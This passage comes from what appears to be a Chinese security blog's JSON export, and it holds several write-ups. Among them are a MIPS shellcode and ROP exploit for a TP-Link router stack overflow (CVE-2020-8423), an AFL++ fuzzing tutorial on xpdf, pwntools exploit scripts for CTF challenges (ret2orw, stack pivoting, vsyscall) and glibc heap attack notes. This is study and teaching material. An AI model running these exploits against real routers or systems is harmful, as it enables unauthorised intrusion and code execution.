x02\\x0f\\xdf\\x01\\x01\\x01\\x0c\\x24\\x0e\\x3d\\x28\\xaf\\xae\\xff\\xe2\"shellcode+=b\"\\x24\\x0e\\x77\\xf9\\xaf\\xae\\xff\\xe0\\x8f\\xa4\\xff\\xe2\\x28\\x05\\xff\\xff\"shellcode+=b\"\\x28\\x06\\xff\\xff\\x24\\x02\\x0f\\xab\\x01\\x01\\x01\\x0c\"s0=p32(0x11111111)s1=p32(libc_base+g2)s2=p32(libc_base+sleep)ra=p32(libc_base+g1)payload=b'/%0a'*0x55+b'a'*2+s0+s1+s2+rapayload+=b'a'*0x1cpayload+=p32(libc_base+g4) #s1payload+=p32(0x22222222)payload+=p32(libc_base+g3) #rapayload+=b'a'*0x18payload+=shellcodedef exp(path,cookie): headers = { \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\", \"Cookie\":\"Authorization=Basic{cookie}\".format(cookie=str(cookie))} params = { \"mode\":\"1000\", \"curRegion\":\"1000\", \"chanWidth\":\"100\", \"channel\":\"1000\", \"ssid\":urllib.parse.unquote(payload) } url=\"http://192.168.123.162:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm\".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text)exp(\"QEIFMZVBEMCABIIB\",\"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D\") 遇到的环境问题 12345678910unsquashfs.c: In function ‘read_super’:unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation] 1835 | if(swap) | ^~unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’ 1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block), | ^~~~~~~~~~~~~cc1: all warnings being treated as errorsmake: *** [<内置>:unsquashfs.o] 错误 1 解决 [issues]: ‘if’ clause does not guard… [-Werror=misleading-indentation] · Issue #48 · devttys0/sasquatch 12wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch./build.sh 1r: in `/home/hpp/buildroot/output/build/host-tar-1.35': configure: error: you should not run configure as root (set FORCE_UNSAFE_CONFIGURE=1 in environment to bypass this check) See `config.log' for more details make: *** [package/pkg-generic.mk:279: 解决 1sudo make FORCE_UNSAFE_CONFIGURE=1 参考链接[1]:Mips架构下漏洞分析入门-安全客 - 安全资讯平台 [2]: TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析-安全客 - 安全资讯平台 [3]:CVE-2020-8423后篇 | Brvc3’s Base [4]:路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析-安全客 - 安全资讯平台 [5]:Linux系统调用Hook姿势总结_linux vfs hook-CSDN博客","categories":[],"tags":[]},{"title":"xpdf","slug":"FUZZ/xpdf","date":"2024-11-26T12:58:53.000Z","updated":"2024-11-29T15:47:25.415Z","comments":true,"path":"/posts/7e7e55f1/","link":"","permalink":"https://github.com/degial/posts/7e7e55f1/","excerpt":"","text":"CVE-2019-13288 搭建xpdf环境 1234567891011121314151617181920212223cd $HOMEmkdir fuzzing_xpdf && cd fuzzing_xpdf/# 相关依赖sudo apt install build-essentialsudo apt update && sudo apt install -y build-essential gcc# Download Xpdf 3.02 && build Xpdfwget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gztar -xvzf xpdf-3.02.tar.gzcd xpdf-3.02./configure --prefix=\"$HOME/fuzzing_xpdf/install/\"makemake install# Download PDF examples to test Xpdfcd $HOME/fuzzing_xpdfmkdir pdf_examples && cd pdf_exampleswget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdfwget http://www.africau.edu/images/default/sample.pdfwget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf 测试Xpdf 1$HOME/fuzzing_xpdf/xpdf-3.02/xpdf/pdfinfo -box -meta $HOME/fuzzing_xpdf/pdf_examples/helloworld.pdf 搭建fuzz环境 1234567891011121314151617sudo apt-get updatesudo apt-get install -y build-essential python3-dev automake cmake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools cargo libgtk-3-dev# try to install llvm 14 and install the distro default if that failssudo apt-get install -y lld-14 llvm-14 llvm-14-dev clang-14 || sudo apt-get install -y lld llvm llvm-dev clangsudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/\\..*//'|sed 's/.* //')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/\\..*//'|sed 's/.* //')-devsudo apt-get install -y ninja-build # for QEMU modesudo apt-get install -y cpio libcapstone-dev # for Nyx modesudo apt-get install -y wget curl # for Frida modesudo apt-get install -y python3-pip # for Unicorn modegit clone https://github.com/AFLplusplus/AFLpluspluscd AFLplusplusmake distribsudo make install#将afl添加到环境变量path中echo 'export PATH=$PATH:/home/hpp/AFLplusplus' >> ~/.bashrcsource ~/.bashrc 使用afl-clang-fast对Xpdf进行插桩 先清理掉之前Xpdf编译好的文件 123rm -r $HOME/fuzzing_xpdf/installcd $HOME/fuzzing_xpdf/xpdf-3.02/make clean 编译xpdf并用 afl-clang-fast 编译器,进行插桩 1234export LLVM_CONFIG=\"llvm-config-11\"CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix=\"$HOME/fuzzing_xpdf/install/\"makemake install 开始fuzz模糊测试 -i :设置输入实例的文件夹 -o :设置用于存放模糊测试结果的文件夹 -s :设置一个静态随机数作为种子 — :设置测试目标 @@ :占位符,指代每一个输入文件 1afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/xpdf-3.02/xpdf/pdftotext @@ $HOME/fuzzing_xpdf/output 在 ~/fuzzing_xpdf/out/default/crashes 里有导致程序奔溃的输入 123456hpp@swikar:~/fuzzing_xpdf/out/default/crashes$ lsid:000000,sig:11,src:001045,time:342537,execs:245377,op:havoc,rep:15id:000001,sig:11,src:000229,time:505563,execs:344967,op:havoc,rep:2id:000002,sig:11,src:001638,time:566771,execs:383537,op:havoc,rep:1id:000003,sig:11,src:001753+000851,time:820662,execs:526503,op:splice,rep:2README.txt 将这些文件放到gdb中调试,看看是哪里出错 首先重新编译 123456rm -r $HOME/fuzzing_xpdf/installcd $HOME/fuzzing_xpdf/xpdf-3.02/make cleanCFLAGS=\"-g -O0\" CXXFLAGS=\"-g -O0\" ./configure --prefix=\"$HOME/fuzzing_xpdf/install/\"makemake install 然后gdb调试 1gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/<your_filename> $HOME/fuzzing_xpdf/output 我这里是 1gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/id:000000,sig:11,src:001045,time:342537,execs:245377,op:havoc,rep:15 $HOME/fuzzing_xpdf/output 123456789101112pwndbg> run#回溯用过的函数pwndbg> bt#24055 0x00005555555ff8f0 in Parser::makeStream (this=0x5555561b1030, dict=0x7fffffa71880, fileKey=0x0, encAlgorithm=cryptRC4, keyLength=0, objNum=7, objGen=0) at Parser.cc:156#24056 0x00005555555ff51a in Parser::getObj (this=0x5555561b1030, obj=0x7fffffa71880, fileKey=0x0, encAlgorithm=cryptRC4, keyLength=0, objNum=7, objGen=0) at Parser.cc:94#24057 0x0000555555623714 in XRef::fetch (this=0x5555556cc230, num=7, gen=0, obj=0x7fffffa71880) at XRef.cc:823#24058 0x00005555555fa57e in Object::fetch (this=0x5555561b0c58, xref=0x5555556cc230, obj=0x7fffffa71880) at Object.cc:106#24059 0x000055555559c94c in Dict::lookup (this=0x5555561b0c00, key=0x55555564ca6f \"Length\", obj=0x7fffffa71880) at Dict.cc:76#24060 0x00005555555fb269 in Object::dictLookup (this=0x7fffffa71b00, key=0x55555564ca6f \"Length\", obj=0x7fffffa71880) at /home/hpp/fuzzing_xpdf/xpdf-3.02/xpdf/Object.h:253#24061 0x00005555555ff8f0 in Parser::makeStream (this=0x5555561b0b50, dict=0x7fffffa71b00, fileKey=0x0, encAlgorithm=cryptRC4, keyLength=0, objNum=7, objGen=0) at Parser.cc:156#24062 0x00005555555ff51a in Parser::getObj (this=0x5555561b0b50, obj=0x7fffffa71b00, fileKey=0x0, encAlgorithm=cryptRC4, keyLength=0, objNum=7, objGen=0) at Parser.cc:94# 发现一直在调用Parser::getObj 函数 查看Parser.cc:94的源码 1234567891011121314151617while (!buf1.isCmd(\">>\") && !buf1.isEOF()) { if (!buf1.isName()) { error(getPos(), \"Dictionary key must be a name object\"); shift(); } else { key = copyString(buf1.getName()); shift(); if (buf1.isEOF() || buf1.isError()) { gfree(key); break; } //不断调用getObj使程序奔溃 obj->dictAdd(key, getObj(&obj2, fileKey, encAlgorithm, keyLength, objNum, objGen)); } } 定位到这 由于本人代码能力一般,修复不了bug,通过chatgpt修复了一下 在源码的基础上增加了一个次数的限制 12345678910111213141516171819202122232425262728293031//定义两个全局变量#define MAX_OBJ_CALLS 10000int callCount = 0;while (!buf1.isCmd(\">>\") && !buf1.isEOF()) { if (!buf1.isName()) { error(getPos(), \"Dictionary key must be a name object\"); shift(); } else { key = copyString(buf1.getName()); shift(); if (buf1.isEOF() || buf1.isError()) { gfree(key); break; } // 增加调用次数限制 if (callCount >= MAX_OBJ_CALLS) { error(getPos(), \"Too many calls to getObj, possible infinite loop\"); gfree(key); obj->initError(); // 初始化为错误对象 break; } callCount++; // 增加调用次数 obj->dictAdd(key, getObj(&obj2, fileKey, encAlgorithm, keyLength, objNum, objGen)); } } 这样可以有效限制调用次数 再次make clean,重新插桩编译,跑了很久发现了另外一个,是其他的输入的问题,无限递归的bug已经修复了 这是xpdf4.02中Parser.cc的部分源码 1234567891011121314151617181920// 增加了递归的上限// Max number of nested objects. This is used to catch infinite loops// in the object structure.#define recursionLimit 500// 增加了递归次数的检查 // array if (!simpleOnly && recursion < recursionLimit && buf1.isCmd(\"[\")) { ... // dictionary or stream } else if (!simpleOnly && recursion < recursionLimit && buf1.isCmd(\"<<\")) { ... // 对比之前版本,发现多了 recursion 这个参数 // stream objects are not allowed inside content streams or // object streams if (allowStreams && buf2.isCmd(\"stream\")) { if ((str = makeStream(obj, fileKey, encAlgorithm, keyLength, objNum, objGen, recursion + 1))) { ... 漏洞来源 在 Xpdf 4.01.01 中,Parser.cc 文件中的 Parser::getObj() 函数可能通过精心构造的文件导致无限递归。远程攻击者可以利用此漏洞发动拒绝服务(DoS)攻击。此漏洞与 CVE-2018-16646 类似。 参考文献[1]:Fuzzing101学习笔记 - 星盟安全团队 [2]:Fuzzing101/Exercise 1 at main · antonio-morales/Fuzzing101 [3]:CVE-2019-13288 : In Xpdf 4.01.01, the Parser::getObj() function in Parser.cc may cause infinite r","categories":[],"tags":[]},{"title":"trick","slug":"trick","date":"2024-11-20T14:03:02.000Z","updated":"2024-11-29T15:54:26.206Z","comments":true,"path":"/posts/d8f0a91e/","link":"","permalink":"https://github.com/degial/posts/d8f0a91e/","excerpt":"","text":"ctfshow 单身杯Findyourgirlfriendstrstr函数返回子字符串第一次出现的指针,然后这里右边是判断,返回0或1 输入的s不能包含这些字符串,然后输入的s是 set -s, 最后执行的是system(‘/bin/sh -c set -s),在sh内执行set -s,设置了shell输出选项而没有其他动作 这里不能直接cat,因为远程环境没有给cat设置环境变量$PATH 123456789101112131415161718from pwn import*from LibcSearcher import *#p=remote(\"pwn.challenge.ctf.show\",28147)p=process(\"./girl\")context.log_level=\"debug\"def dbg(): gdb.attach(p) sleep(1)p.sendlineafter('games','1')payload=b'set -s'p.sendlineafter('girlfriend? ',payload)p.sendline('/bin/cat /flag')p.interactive() CheckIn保护全开,有个后门函数 rax在栈上 这里用了vsyscall,在这里x64这是固定的地址 设计这玩意的初衷是限制了只有从vsyscall函数入口才能正常运行,避免gadget,这里是反复调用vsyscall不断调用ret破坏栈,具体调试不出来,直接报错了,只有栈上有.text段没清理干净,修改最低位就劫持了控制流 123456789101112131415from pwn import*from LibcSearcher import *#p=remote(\"pwn.challenge.ctf.show\",28149)p=process(\"./1\")context.log_level=\"debug\"ret=0xffffffffff600000gdb.attach(p)pause()p.send(p64(ret)*30+b'\\x13')p.sendline('/bin/sh')p.interactive()","categories":[],"tags":[]},{"title":"trick","slug":"trick/trick","date":"2024-11-20T14:03:02.000Z","updated":"2024-11-29T15:54:26.209Z","comments":true,"path":"/posts/d8f0a91e/","link":"","permalink":"https://github.com/degial/posts/d8f0a91e/","excerpt":"","text":"ctfshow 单身杯Findyourgirlfriendstrstr函数返回子字符串第一次出现的指针,然后这里右边是判断,返回0或1 输入的s不能包含这些字符串,然后输入的s是 set -s, 最后执行的是system(‘/bin/sh -c set -s),在sh内执行set -s,设置了shell输出选项而没有其他动作 这里不能直接cat,因为远程环境没有给cat设置环境变量$PATH 123456789101112131415161718from pwn import*from LibcSearcher import *#p=remote(\"pwn.challenge.ctf.show\",28147)p=process(\"./girl\")context.log_level=\"debug\"def dbg(): gdb.attach(p) sleep(1)p.sendlineafter('games','1')payload=b'set -s'p.sendlineafter('girlfriend? ',payload)p.sendline('/bin/cat /flag')p.interactive() CheckIn保护全开,有个后门函数 rax在栈上 这里用了vsyscall,在这里x64这是固定的地址 设计这玩意的初衷是限制了只有从vsyscall函数入口才能正常运行,避免gadget,这里是反复调用vsyscall不断调用ret破坏栈,具体调试不出来,直接报错了,只有栈上有.text段没清理干净,修改最低位就劫持了控制流 123456789101112131415from pwn import*from LibcSearcher import *#p=remote(\"pwn.challenge.ctf.show\",28149)p=process(\"./1\")context.log_level=\"debug\"ret=0xffffffffff600000gdb.attach(p)pause()p.send(p64(ret)*30+b'\\x13')p.sendline('/bin/sh')p.interactive()","categories":[],"tags":[]},{"title":"qwnt2024","slug":"qwnt2024","date":"2024-11-18T14:56:02.000Z","updated":"2024-11-29T15:54:26.199Z","comments":true,"path":"/posts/a036fd99/","link":"","permalink":"https://github.com/degial/posts/a036fd99/","excerpt":"","text":"sigin开了随机种子,输入要和随机数一样 由于buf和seed在栈上,所以可以利用输入buf把seed给覆盖掉 使用 libc=cdll.LoadLibrary(“./libc.so.6”) ,加载的就是特定的libc,然后利用libc的函数libc.srand(seed),得到的随机数和rand一样,后续就是用老套的orw就能解决,不过要栈迁移取去bss段上执行,因为在栈上的rop长度不够 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from pwn import*from ctypes import *from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./vuln\")context.log_level=\"debug\"elf=ELF('./vuln')context(arch='amd64')#libc=ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')libc=cdll.LoadLibrary(\"./libc.so.6\") #def dbg(): gdb.attach(p) pause()p.send(b'a'*14+p32(1))libc.srand(1)menu=0x4014E6for i in range(100): k=libc.rand()%100+1 print(k) p.sendafter('code:',p8(k))pop_rdi=0x401893p.sendafter('>>',p32(1))p.sendlineafter('Index: ',p32(0))payload=b'a'*0x108+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(menu)libc=ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')p.sendlineafter('Note: ',payload)puts=u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))base=puts-libc.sym['puts']pop_rsi=0x202f8+basepop_rdx=0x1b92+baseread=base+libc.sym['read']op=base+libc.sym['open']write=base+libc.sym['write']bss=0x4040A0leave=0x401591p.sendafter('Index: ',p32(2))print(hex(op))payload=b'b'*0x108+p64(pop_rsi)+p64(bss)+p64(read)+p64(menu)p.sendlineafter('Note: ','asdf')p.sendline(payload)p.sendline('./flag\\x00')p.sendlineafter('Index: ',p32(2))payload=b'a'*0x108+p64(pop_rsi)+p64(bss+0x200)+p64(read)+p64(menu)p.sendlineafter('Note: ',payload)#orwpayload=p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(op)payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x40)+p64(read)payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x40)+p64(write)p.sendline(payload)dbg()p.sendlineafter('Index: ',p32(3))payload=b'd'*0xff+p64(bss+0x200-8)+p64(leave)p.sendafter('Note: ','g'*0x100)p.sendline(payload)print(hex(puts))#leak_base#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"沙箱","slug":"沙箱/沙箱","date":"2024-11-13T13:48:38.000Z","updated":"2024-11-29T15:54:26.209Z","comments":true,"path":"/posts/fbdf783e/","link":"","permalink":"https://github.com/degial/posts/fbdf783e/","excerpt":"","text":"目前对沙箱类型的题写一下,这块比较薄弱 最常见的就是ret2syscall了,一般开了沙箱,只能用orw ret2syscall一般开了,禁用了execve,只能用orw读出flag 来看下常用的几个函数,当把bin/sh或./flag读入bss时,read(0,bss,nb),rdi=0,rsi=bss,rsi=nb; 然后时open函数,open(‘flag’), rdi=flag_addr(bss),rsi=0; 读进bss+0x300,read(3,bss+0x300,nb),rdi=3,rsi=bss+0x300,rsi=nb; 读出flag ,write(1,bss+0x300,nb), rdi=1,rsi=bss+0x300,rsi=nb; 遇过一次坑就是,当把flag字符写进bss时,字符串应该时p.sendline(‘./flag\\x00’),后面必须是空格,否则open函数是以加了\\n来找flag文件,是找不到的,所以得加空格 常用的exp 12345678910111213141516171819202122232425262728293031323334353637383940from pwn import*from LibcSearcher import *#p=remote(\"27.25.151.12\",33424)p=process(\"./ret2orw\")elf=ELF('ret2orw')#libc=ELF('libc.so.6')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')context.log_level=\"debug\"pop_rdi=0x4012CEpayload=b'a'*0x28+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4012A1)#sleep(1)p.sendlineafter('this?',payload)puts=u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))print(hex(puts))base=puts-libc.sym['puts']def dbg(): gdb.attach(p) pause()pop_rsi=base+0x2be51pop_rdx=base+0x11f497bss=0x404060read=base+libc.sym['read']write=base+libc.sym['write']op=base+libc.sym['open']print('read'+hex(read))payload=b'a'*0x28+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(8)+p64(0)+p64(read)+p64(0x4012A1)p.sendline(payload)p.sendline('./flag')dbg()payload=b'a'*0x28+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(op)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x300)+p64(pop_rdx)+p64(60)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x300)+p64(pop_rdx)+p64(60)+p64(0)+p64(write)p.sendline(payload)print('pop_rsi'+hex(pop_rsi))p.interactive()","categories":[],"tags":[]},{"title":"","slug":"house-of-lore","date":"2024-11-04T14:55:22.260Z","updated":"2024-12-14T15:29:37.834Z","comments":true,"path":"/posts/0/","link":"","permalink":"https://github.com/degial/posts/0/","excerpt":"","text":"title:house-of-loredate:2024-11-04 22:55:22 tags:#how2heapvictim = last(bin),其实就是victim=bin->bk 利用条件,能更改victim的bk指针,且能构造两个fakechunk,第二fakechunk的bk指针不做要求 前期在栈上构造的fakechunk是这样 要想把bin->bk=stack_buffer_1,这里有个check,(__glibc_unlikely(bck->fd != victim)) 这里倒数第一个chunk其实指的是第一个释放的chunk,即victim=bin->bk 12345678910111213 //victim是第一个释放的// 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = \"malloc(): smallbin double linked list corrupted\"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; 申请一个同大小堆后 再申请就能申请到栈上的地址 很明显要改到栈上的地址,至少得构造两个fakechunk,因为申请到第一个fakechunk时会检查第二个fakechunk的fd指针,攻击手法和unsortedbin attack有点点相似,区别在于unsortedbin attack只能改(bck=victim->bk)的fd值为main_arena+88而已 check1234567891011121314151617181920212223242526272829303132333435363738394041424344454647/* If a small request, check regular bin. Since these \"smallbins\" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb); // 获取对应 small bin 中的 chunk 指针 bin = bin_at(av, idx); // 先执行 victim= last(bin),获取 small bin 的最后一个 chunk // 如果 victim = bin ,那说明该 bin 为空。 // 如果不相等,那么会有两种情况 if ((victim = last(bin)) != bin) { // 第一种情况,small bin 还没有初始化。 if (victim == 0) /* initialization check */ // 执行初始化,将 fast bins 中的 chunk 进行合并 malloc_consolidate(av); // 第二种情况,small bin 中存在空闲的 chunk else { // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = \"malloc(): smallbin double linked list corrupted\"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; // 如果不是 main_arena,设置对应的标志 if (av != &main_arena) set_non_main_arena(victim); // 细致的检查 check_malloced_chunk(av, victim, nb); // 将申请到的 chunk 转化为对应的 mem 状态 void *p = chunk2mem(victim); // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } }} 示例代码12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>void jackpot(){ puts(\"Nice jump d00d\"); exit(0); }int main(int argc, char * argv[]){ intptr_t* stack_buffer_1[4] = {0}; intptr_t* stack_buffer_2[3] = {0}; fprintf(stderr, \"\\nWelcome to the House of Lore\\n\"); fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\"); fprintf(stderr, \"This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\\n\\n\"); fprintf(stderr, \"Allocating the victim chunk\\n\"); intptr_t *victim = malloc(100); fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim); // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2; fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1); fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2); fprintf(stderr, \"Create a fake chunk on the stack\"); fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\" \"in second to the last malloc, which putting stack address on smallbin list\\n\"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk; fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \" \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \" \"chunk on stack\"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\" \"the small one during the free()\\n\"); void *p5 = malloc(1000); fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5); fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim); free((void*)victim); fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are nil\\n\"); fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]); fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]); fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\"); fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim); void *p2 = malloc(1200); fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2); fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\"); fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]); fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]); //------------VULNERABILITY----------- fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\"); victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack //------------------------------------ fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\"); fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\"); void *p3 = malloc(100); fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\"); char *p4 = malloc(100); fprintf(stderr, \"p4 = malloc(100)\\n\"); fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\", stack_buffer_2[2]); fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary}","categories":[],"tags":[]},{"title":"200~house_of_force","slug":"house-of-force","date":"2024-11-03T10:14:32.000Z","updated":"2024-11-29T15:54:26.187Z","comments":true,"path":"/posts/a8db7475/","link":"","permalink":"https://github.com/degial/posts/a8db7475/","excerpt":"","text":"利用条件:能控制topchunk_size,能够自由控制申请的堆块大小。需要知道top_chunk地址与目的地址的偏移量,如果还不对齐,即结果不是0x0结尾,需要多减8,然后减去SIZE_SZ(8) 结果:能将topcunk的地址控制到我们想要的地址,再申请内存就可以控制这个地址的值。 check1对topchunk_size的检查,(unsigned long) (size) >= (unsigned long) (nb + MINSIZE) 12345678910111213141516171819// 获取当前的top chunk,并计算其对应的大小victim = av->top;size = chunksize(victim);// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; #设置top_chunk的头,附近值会有所变化 set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p;} 所以把size改为-1,在补码中为很大的数,能够满足条件 新的remainder即top_chunk的地址 **remainder = chunk_at_offset(victim, nb);**,需要算出topchunk的地址和目标地址的偏移check2对申请的size的检查 123456789101112131415161718192021222324252627/* Check if a request is so large that it would wrap around zero when padded and aligned. To simplify some other code, the bound is made low enough so that adding MINSIZE will also not wrap around zero. */#这里的req即是nb.对req的大小的检查,((unsigned long) (req)要小于 (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))#define REQUEST_OUT_OF_RANGE(req) \\ ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))/* pad request bytes into a usable size -- internal version *///MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1# 对nb加 SIZE_SZ加 MALLOC_ALIGN_MASK,最后和MALLOC_ALIGN_MASK按位与对齐,这里的SIZE_SZ是8#define request2size(req) \\ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \\ ? MINSIZE \\ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)/* Same, except also perform argument check */# req不能大于 -2 * MINSIZE,否则会报错#define checked_request2size(req, sz) \\ if (REQUEST_OUT_OF_RANGE(req)) { \\ __set_errno(ENOMEM); \\ return 0; \\ } \\ (sz) = request2size(req); 首先 ((unsigned long) (req) <= (unsigned long) (INTERNAL_SIZE_T)(-2 MINSIZE)),即无符号的nb要小于无符号的 **-2 MINSIZE,即req不能大于-2MINSIZE*,一般都能满足条件。其次是对req的对齐的检查,req需要是0x0结尾来对齐,否则得多减8((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK),这里的结果是最后申请的大小。由于(req) + SIZE_SZ,SIZE_SZ是8,所以算出偏移后还需要减去8,虽然req会加上MALLOC_ALIGN_MASK,但是最后会被对齐掉,就不用多减掉MALLOC_ALIGN_MASK了MALLOC_ALIGN 通常指的是内存块对齐的要求。如果req不对齐,不是0x0结尾的,需要多减掉8 bcloud_bctf_2016只开了栈上的保护 这里会把堆的地址给到v2的指针,后续会打印出来 🐕Ⅷ题目,调试的时候完全不是题目逻辑,算了。","categories":[],"tags":[]},{"title":"","slug":"pwn2 short","date":"2024-10-29T09:09:11.391Z","updated":"2024-11-29T15:54:26.197Z","comments":true,"path":"/posts/0/","link":"","permalink":"https://github.com/degial/posts/0/","excerpt":"","text":"pwn2 short很简单的32位栈迁移,还留了个后门 这里获得栈地址 把bin/sh的地址放返回地址后面就ok 123456789101112131415161718192021222324from pwn import*from LibcSearcher import *p=remote(\"0192d5ebf7187dfe967b1c88a2bb1480.3sya.dg02.ciihw.cn\",43744)#p=process(\"./short\")context.log_level=\"debug\"p.sendlineafter('username: ','admin')p.sendlineafter('password: 